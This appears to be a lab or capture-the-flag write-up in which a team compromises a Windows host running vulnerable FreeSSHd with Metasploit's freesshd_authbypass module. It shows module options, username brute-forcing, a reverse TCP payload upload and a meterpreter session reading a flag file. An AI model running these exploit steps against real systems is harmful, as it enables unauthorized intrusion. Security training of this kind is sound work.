

(LOCAL)10.20.160.125: INSECURE SOCKET SHELL

TEAM #1

Hash:

Attack Path: My team and I saw that the SSH port was open, and it ran on WeOnlyDo SSH, a vulnerable banner of FreeSSHd. We found an exploit in metasploit that was similar to the initial conditions from our nmap scan of the port, and ran the module. The first time, it failed, but the second time we were able to get access to the machine. From there, we navigated to the local.txt file.

```
msf post(windows/gather/lsa_secrets) > use exploit/windows/ssh/freesshd_authbypass
msf exploit(windows/ssh/freesshd_authbypass) > options
Module options (exploit/windows/ssh/freesshd_authbypass):
Name      Current Setting
-----
RHOST     10.20.160.125
RPORT     22
SRVHOST   0.0.0.0
SRVPORT   8080
SSL       false
SSLCert   false
URIPATH   /
USERNAME  Administrator
USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt

Exploit target:
Id  Name
--  --
0   Freesshd <= 1.2.6 / Windows (Universal)

msf exploit(windows/ssh/freesshd_authbypass) > set rhost 10.20.160.125
rhost => 10.20.160.125
```

```
msf exploit(windows/ssh/freesshd_authbypass) > set rhost 10.20.160.125
rhost => 10.20.160.125
msf exploit(windows/ssh/freesshd_authbypass) > run
[*] Started reverse TCP handler on 10.20.150.101:4444
[*] 10.20.160.125:22 - Trying username '4Dgifts'
[*] 10.20.160.125:22 - Trying username 'EZsetup'
[*] 10.20.160.125:22 - Trying username 'OutofBox'
[*] 10.20.160.125:22 - Trying username 'ROOT'
[*] 10.20.160.125:22 - Trying username 'adm'
[*] 10.20.160.125:22 - Trying username 'admin'
[*] 10.20.160.125:22 - Trying username 'administrator'
[*] 10.20.160.125:22 - Uploading payload, this may take several minutes...
```

```
meterpreter > ls
Listing: C:\Users\proland\Desktop
Mode                Size Type Last modified Name
----
100666/rw-rw-rw- 282  fil 2015-11-26 16:53:44 -0500 desktop.ini
100666/rw-rw-rw- 32   fil 2016-01-02 14:59:55 -0500 local.txt

meterpreter > cat local.txt
e13c1f8c2a91d1158167e6b2b30a50f4meterpreter >
```